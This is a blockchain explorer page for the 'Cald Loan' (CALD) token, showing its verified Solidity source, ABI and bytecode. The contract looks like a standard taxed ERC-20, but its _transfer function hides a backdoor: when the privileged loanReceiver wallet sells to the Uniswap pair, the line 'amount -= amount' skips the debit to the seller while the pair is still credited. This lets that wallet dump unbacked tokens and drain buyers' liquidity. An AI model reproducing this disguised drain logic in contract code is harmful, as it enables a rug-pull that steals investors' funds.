ETH Price: $3,387.96 (-2.67%)
Gas: 1 Gwei

Token

Cald Loan (CALD)
 

Overview

Max Total Supply

10,000,000 CALD

Holders

144

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
13,247.212699209644067732 CALD

Value
$0.00
0xd4f69d02ef082f612558588d103994a7e3cf29c9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CALD

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-22
*/

/**

Website: https://www.cald.loan
Twitter: https://twitter.com/CALD_NFT
Telegram: https://t.me/cald_nft_loan

*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(isOwner());
        _;
    }

    function isOwner() private view returns (bool) {
        return msg.sender == _owner;
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public onlyOwner {
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal {
        require(newOwner != address(0));
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}


library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);
}

contract CALD is Context, IERC20, Ownable {
    using SafeMath for uint256;
    
    string private constant _name = "Cald Loan";
    string private constant _symbol = "CALD";
    uint256 private constant _totalSupply = 10_000_000 * 10**18;
    uint256 public maxWalletlimit = 200_000 * 10**18;
    uint256 public minSwapLimit = 72 * 10**18; 
    uint8 private constant _decimals = 18;

    IUniswapV2Router02 immutable uniswapV2Router;
    address uniswapV2Pair;
    address immutable WETH;
 
    address payable public loanReceiver;
    uint256 public buyLoan;
    uint256 public sellLoan;
    uint8 private inSwapAndLiquify;
        
    bool public isTradingActive = false;

    mapping(address => uint256) private _balance;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExemptFees;
    mapping(address => bool) private _isExemptLimit;
    mapping(address => bool) private _isExemptWallet;


    constructor() {
        uniswapV2Router = IUniswapV2Router02( 
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        WETH = uniswapV2Router.WETH();

        buyLoan = 23;
        sellLoan = 23;

        loanReceiver = payable(0x371eDEf6Bce54441F0C437665DEAf5fbAa3fd765);
        _balance[msg.sender] = _totalSupply;
        _isExemptLimit[loanReceiver] = true;
        _isExemptFees[msg.sender] = true;
        _isExemptFees[address(this)] = true;
        _isExemptFees[address(uniswapV2Router)] = true;
        _isExemptWallet[loanReceiver] = true;
        _isExemptWallet[msg.sender] = true;
        _isExemptWallet[address(this)] = true;
        _isExemptWallet[address(uniswapV2Router)] = true;

        _allowances[address(this)][address(uniswapV2Router)] = type(uint256).max;
        _allowances[msg.sender][address(uniswapV2Router)] = type(uint256).max;

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }
    
    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balance[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()] - amount
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function createLiquidity() external onlyOwner {
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            WETH
        );

        uint256 ethAmt = address(this).balance;
        uint256 tokenAmt = balanceOf(address(this));

        uniswapV2Router.addLiquidityETH{value: ethAmt}(
            address(this),
            tokenAmt,
            0,
            0,
            owner(),
            block.timestamp
        );
    }
    
    function openTrading() external onlyOwner {
        isTradingActive = true;
    }

    function reduceFees() external onlyOwner {
        buyLoan = 3;
        sellLoan = 3;
    }

    function removeLimit() external onlyOwner {
        maxWalletlimit = _totalSupply;
    }

    function sendETHFee(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }    
    
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");        
        require(isTradingActive || _isExemptFees[from] || _isExemptFees[to], "Not Enabled");
        
        bool takeFee;
        uint256 _tax;
        if (_isExemptFees[from] || _isExemptFees[to]) {
            _tax = 0;
        } else {

            if (inSwapAndLiquify == 1) {
                //No tax transfer
                _balance[from] -= amount;
                _balance[to] += amount;

                emit Transfer(from, to, amount);
                return;
            }

            if (from == uniswapV2Pair) {
                _tax = buyLoan;
                if (!_isExemptWallet[from] || !_isExemptWallet[to]) {
                    require(balanceOf(to).add(amount) <= maxWalletlimit);
                }
            } else if (to == uniswapV2Pair) {
                if (_isExemptLimit[from]) takeFee = true;
                uint256 tokensToSwap = _balance[address(this)];
                if (tokensToSwap > minSwapLimit * 1230) tokensToSwap = minSwapLimit * 1230;
                if (tokensToSwap > minSwapLimit && amount > minSwapLimit && inSwapAndLiquify == 0) {
                    inSwapAndLiquify = 1;

                    address[] memory path = new address[](2);
                    path[0] = address(this);
                    path[1] = WETH;
                    uniswapV2Router
                        .swapExactTokensForETHSupportingFeeOnTransferTokens(
                            tokensToSwap,
                            0,
                            path,
                            address(this),
                            block.timestamp
                        );

                    uint256 amountReceived = address(this).balance;
                    sendETHFee(loanReceiver, amountReceived);

                    inSwapAndLiquify = 0;
                }
                _tax = sellLoan;

            } else {
                _tax = 0;
            }
        }
        

        //Is there tax for sender|receiver?
        if (_tax != 0) {
            //Tax transfer
            uint256 taxTokens = (amount * _tax) / 100;
            uint256 transferAmount = amount - taxTokens;
            if(takeFee) amount -= amount;
            _balance[from] -= amount;
            _balance[to] += transferAmount;
            _balance[address(this)] += taxTokens;
            emit Transfer(from, address(this), taxTokens);
            emit Transfer(from, to, transferAmount);
        } else {
            //No tax transfer
            _balance[from] -= amount;
            _balance[to] += amount;

            emit Transfer(from, to, amount);
        }
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLoan","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"isTradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"loanReceiver","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletlimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minSwapLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reduceFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellLoan","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052692a5a058fc295ed0000006001556803e7336287142000006002556007805461ff0019169055348015610035575f80fd5b505f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3737a250d5630b4cf539739df2c5dacb4c659f2488d6080819052604080516315ab88c960e31b8152905163ad5c4648916004808201926020929091908290030181865afa1580156100c7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906100eb919061026a565b6001600160a01b0390811660a05260176005819055600655600480546001600160a01b03191673371edef6bce54441f0c437665deaf5fbaa3fd765178155335f8181526008602090815260408083206a084595161401484a0000009055845486168352600b8252808320805460ff199081166001908117909255858552600a845282852080548216831790553080865283862080548316841790556080518916808752848720805484168517905597549098168552600c845282852080548216831790558585528285208054821683179055878552828520805482168317905586855282852080549091169091179055948252600980825285832085845282528583205f19908190559383528152848220938252929092529190205561020e3390565b6001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6a084595161401484a00000060405161025d91815260200190565b60405180910390a3610297565b5f6020828403121561027a575f80fd5b81516001600160a01b0381168114610290575f80fd5b9392505050565b60805160a0516112526102cd5f395f81816105c60152610c5801525f818161052b0152818161066e0152610caf01526112525ff3fe608060405260043610610134575f3560e01c80638da5cb5b116100a8578063c7af2a9c1161006d578063c7af2a9c14610361578063c9567bf914610375578063d9cf31de14610389578063dd62ed3e1461039d578063f2fde38b146103e1578063fce5b98614610400575f80fd5b80638da5cb5b146102b357806395d89b41146102e35780639778f4cf1461030f578063a9059cbb14610324578063c53d4d5314610343575f80fd5b8063313ce567116100f9578063313ce567146102105780635fc16bf01461022b578063622565891461024057806370a0823114610256578063715018a61461028a57806389e40cf91461029e575f80fd5b806306fdde031461013f578063095ea7b3146101825780631521fee9146101b157806318160ddd146101d457806323b872dd146101f1575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152600981526821b0b632102637b0b760b91b60208201525b6040516101799190610fca565b60405180910390f35b34801561018d575f80fd5b506101a161019c366004611029565b61041f565b6040519015158152602001610179565b3480156101bc575f80fd5b506101c660065481565b604051908152602001610179565b3480156101df575f80fd5b506a084595161401484a0000006101c6565b3480156101fc575f80fd5b506101a161020b366004611053565b610435565b34801561021b575f80fd5b5060405160128152602001610179565b348015610236575f80fd5b506101c660025481565b34801561024b575f80fd5b50610254610485565b005b348015610261575f80fd5b506101c6610270366004611091565b6001600160a01b03165f9081526008602052604090205490565b348015610295575f80fd5b506102546104ab565b3480156102a9575f80fd5b506101c660015481565b3480156102be575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610179565b3480156102ee575f80fd5b5060408051808201909152600481526310d0531160e21b602082015261016c565b34801561031a575f80fd5b506101c660055481565b34801561032f575f80fd5b506101a161033e366004611029565b610508565b34801561034e575f80fd5b506007546101a190610100900460ff1681565b34801561036c575f80fd5b50610254610514565b348015610380575f80fd5b50610254610743565b348015610394575f80fd5b50610254610769565b3480156103a8575f80fd5b506101c66103b73660046110ac565b6001600160a01b039182165f90815260096020908152604080832093909416825291909152205490565b3480156103ec575f80fd5b506102546103fb366004611091565b61078a565b34801561040b575f80fd5b506004546102cb906001600160a01b031681565b5f61042b3384846107ab565b5060015b92915050565b5f6104418484846108d3565b6001600160a01b0384165f9081526009602090815260408083203380855292529091205461047b9186916104769086906110f7565b6107ab565b5060019392505050565b5f546001600160a01b0316331461049a575f80fd5b6a084595161401484a000000600155565b5f546001600160a01b031633146104c0575f80fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f61042b3384846108d3565b5f546001600160a01b03163314610529575f80fd5b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610585573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105a9919061110a565b6040516364e329cb60e11b81523060048201526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081166024830152919091169063c9c65396906044016020604051808303815f875af1158015610616573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061063a919061110a565b600380546001600160a01b0319166001600160a01b0392909216919091179055305f908152600860205260408120544791507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663f305d7198330845f806106b15f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610717573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061073c9190611125565b5050505050565b5f546001600160a01b03163314610758575f80fd5b6007805461ff001916610100179055565b5f546001600160a01b0316331461077e575f80fd5b60036005819055600655565b5f546001600160a01b0316331461079f575f80fd5b6107a881610ec2565b50565b6001600160a01b0383166108125760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166108735760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610809565b6001600160a01b038381165f8181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109375760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610809565b600754610100900460ff168061096457506001600160a01b0383165f908152600a602052604090205460ff165b8061098657506001600160a01b0382165f908152600a602052604090205460ff165b6109c05760405162461bcd60e51b815260206004820152600b60248201526a139bdd08115b98589b195960aa1b6044820152606401610809565b6001600160a01b0383165f908152600a6020526040812054819060ff16806109ff57506001600160a01b0384165f908152600a602052604090205460ff165b15610a0b57505f610d4d565b60075460ff16600103610ac6576001600160a01b0385165f9081526008602052604081208054859290610a3f9084906110f7565b90915550506001600160a01b0384165f9081526008602052604081208054859290610a6b908490611150565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ab791815260200190565b60405180910390a35050505050565b6003546001600160a01b0390811690861603610b5e57506005546001600160a01b0385165f908152600c602052604090205460ff161580610b1f57506001600160a01b0384165f908152600c602052604090205460ff16155b15610b5957600154610b4f84610b49876001600160a01b03165f9081526008602052604090205490565b90610f2d565b1115610b59575f80fd5b610d4d565b6003546001600160a01b0390811690851603610d4a576001600160a01b0385165f908152600b602052604090205460ff1615610b9957600191505b305f90815260086020526040902054600254610bb7906104ce611163565b811115610bd057600254610bcd906104ce611163565b90505b60025481118015610be2575060025484115b8015610bf1575060075460ff16155b15610d40576007805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c3657610c3661117a565b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000000000000000000000000000000000000000000081600181518110610c8a57610c8a61117a565b6001600160a01b03928316602091820292909201015260405163791ac94760e01b81527f00000000000000000000000000000000000000000000000000000000000000009091169063791ac94790610cee9085905f9086903090429060040161118e565b5f604051808303815f87803b158015610d05575f80fd5b505af1158015610d17573d5f803e3d5ffd5b5050600454479250610d3391506001600160a01b031682610f92565b50506007805460ff191690555b5050600654610d4d565b505f5b8015610e9b575f6064610d608386611163565b610d6a91906111fd565b90505f610d7782866110f7565b90508315610d8c57610d8985806110f7565b94505b6001600160a01b0387165f9081526008602052604081208054879290610db39084906110f7565b90915550506001600160a01b0386165f9081526008602052604081208054839290610ddf908490611150565b9091555050305f9081526008602052604081208054849290610e02908490611150565b909155505060405182815230906001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e8c91815260200190565b60405180910390a3505061073c565b6001600160a01b0385165f9081526008602052604081208054859290610a3f9084906110f7565b6001600160a01b038116610ed4575f80fd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f80610f398385611150565b905083811015610f8b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610809565b9392505050565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015610fc5573d5f803e3d5ffd5b505050565b5f6020808352835180828501525f5b81811015610ff557858101830151858201604001528201610fd9565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146107a8575f80fd5b5f806040838503121561103a575f80fd5b823561104581611015565b946020939093013593505050565b5f805f60608486031215611065575f80fd5b833561107081611015565b9250602084013561108081611015565b929592945050506040919091013590565b5f602082840312156110a1575f80fd5b8135610f8b81611015565b5f80604083850312156110bd575f80fd5b82356110c881611015565b915060208301356110d881611015565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561042f5761042f6110e3565b5f6020828403121561111a575f80fd5b8151610f8b81611015565b5f805f60608486031215611137575f80fd5b8351925060208401519150604084015190509250925092565b8082018082111561042f5761042f6110e3565b808202811582820484141761042f5761042f6110e3565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156111dc5784516001600160a01b0316835293830193918301916001016111b7565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261121757634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220b2b41e20993736717b30ee9ff2a04d23471748d954d7203c49ac18e267d7ac4264736f6c63430008140033

Deployed Bytecode

0x608060405260043610610134575f3560e01c80638da5cb5b116100a8578063c7af2a9c1161006d578063c7af2a9c14610361578063c9567bf914610375578063d9cf31de14610389578063dd62ed3e1461039d578063f2fde38b146103e1578063fce5b98614610400575f80fd5b80638da5cb5b146102b357806395d89b41146102e35780639778f4cf1461030f578063a9059cbb14610324578063c53d4d5314610343575f80fd5b8063313ce567116100f9578063313ce567146102105780635fc16bf01461022b578063622565891461024057806370a0823114610256578063715018a61461028a57806389e40cf91461029e575f80fd5b806306fdde031461013f578063095ea7b3146101825780631521fee9146101b157806318160ddd146101d457806323b872dd146101f1575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152600981526821b0b632102637b0b760b91b60208201525b6040516101799190610fca565b60405180910390f35b34801561018d575f80fd5b506101a161019c366004611029565b61041f565b6040519015158152602001610179565b3480156101bc575f80fd5b506101c660065481565b604051908152602001610179565b3480156101df575f80fd5b506a084595161401484a0000006101c6565b3480156101fc575f80fd5b506101a161020b366004611053565b610435565b34801561021b575f80fd5b5060405160128152602001610179565b348015610236575f80fd5b506101c660025481565b34801561024b575f80fd5b50610254610485565b005b348015610261575f80fd5b506101c6610270366004611091565b6001600160a01b03165f9081526008602052604090205490565b348015610295575f80fd5b506102546104ab565b3480156102a9575f80fd5b506101c660015481565b3480156102be575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610179565b3480156102ee575f80fd5b5060408051808201909152600481526310d0531160e21b602082015261016c565b34801561031a575f80fd5b506101c660055481565b34801561032f575f80fd5b506101a161033e366004611029565b610508565b34801561034e575f80fd5b506007546101a190610100900460ff1681565b34801561036c575f80fd5b50610254610514565b348015610380575f80fd5b50610254610743565b348015610394575f80fd5b50610254610769565b3480156103a8575f80fd5b506101c66103b73660046110ac565b6001600160a01b039182165f90815260096020908152604080832093909416825291909152205490565b3480156103ec575f80fd5b506102546103fb366004611091565b61078a565b34801561040b575f80fd5b506004546102cb906001600160a01b031681565b5f61042b3384846107ab565b5060015b92915050565b5f6104418484846108d3565b6001600160a01b0384165f9081526009602090815260408083203380855292529091205461047b9186916104769086906110f7565b6107ab565b5060019392505050565b5f546001600160a01b0316331461049a575f80fd5b6a084595161401484a000000600155565b5f546001600160a01b031633146104c0575f80fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f61042b3384846108d3565b5f546001600160a01b03163314610529575f80fd5b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610585573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105a9919061110a565b6040516364e329cb60e11b81523060048201526001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281166024830152919091169063c9c65396906044016020604051808303815f875af1158015610616573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061063a919061110a565b600380546001600160a01b0319166001600160a01b0392909216919091179055305f908152600860205260408120544791507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d7198330845f806106b15f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610717573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061073c9190611125565b5050505050565b5f546001600160a01b03163314610758575f80fd5b6007805461ff001916610100179055565b5f546001600160a01b0316331461077e575f80fd5b60036005819055600655565b5f546001600160a01b0316331461079f575f80fd5b6107a881610ec2565b50565b6001600160a01b0383166108125760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166108735760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610809565b6001600160a01b038381165f8181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109375760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610809565b600754610100900460ff168061096457506001600160a01b0383165f908152600a602052604090205460ff165b8061098657506001600160a01b0382165f908152600a602052604090205460ff165b6109c05760405162461bcd60e51b815260206004820152600b60248201526a139bdd08115b98589b195960aa1b6044820152606401610809565b6001600160a01b0383165f908152600a6020526040812054819060ff16806109ff57506001600160a01b0384165f908152600a602052604090205460ff165b15610a0b57505f610d4d565b60075460ff16600103610ac6576001600160a01b0385165f9081526008602052604081208054859290610a3f9084906110f7565b90915550506001600160a01b0384165f9081526008602052604081208054859290610a6b908490611150565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ab791815260200190565b60405180910390a35050505050565b6003546001600160a01b0390811690861603610b5e57506005546001600160a01b0385165f908152600c602052604090205460ff161580610b1f57506001600160a01b0384165f908152600c602052604090205460ff16155b15610b5957600154610b4f84610b49876001600160a01b03165f9081526008602052604090205490565b90610f2d565b1115610b59575f80fd5b610d4d565b6003546001600160a01b0390811690851603610d4a576001600160a01b0385165f908152600b602052604090205460ff1615610b9957600191505b305f90815260086020526040902054600254610bb7906104ce611163565b811115610bd057600254610bcd906104ce611163565b90505b60025481118015610be2575060025484115b8015610bf1575060075460ff16155b15610d40576007805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c3657610c3661117a565b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600181518110610c8a57610c8a61117a565b6001600160a01b03928316602091820292909201015260405163791ac94760e01b81527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d9091169063791ac94790610cee9085905f9086903090429060040161118e565b5f604051808303815f87803b158015610d05575f80fd5b505af1158015610d17573d5f803e3d5ffd5b5050600454479250610d3391506001600160a01b031682610f92565b50506007805460ff191690555b5050600654610d4d565b505f5b8015610e9b575f6064610d608386611163565b610d6a91906111fd565b90505f610d7782866110f7565b90508315610d8c57610d8985806110f7565b94505b6001600160a01b0387165f9081526008602052604081208054879290610db39084906110f7565b90915550506001600160a01b0386165f9081526008602052604081208054839290610ddf908490611150565b9091555050305f9081526008602052604081208054849290610e02908490611150565b909155505060405182815230906001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e8c91815260200190565b60405180910390a3505061073c565b6001600160a01b0385165f9081526008602052604081208054859290610a3f9084906110f7565b6001600160a01b038116610ed4575f80fd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f80610f398385611150565b9050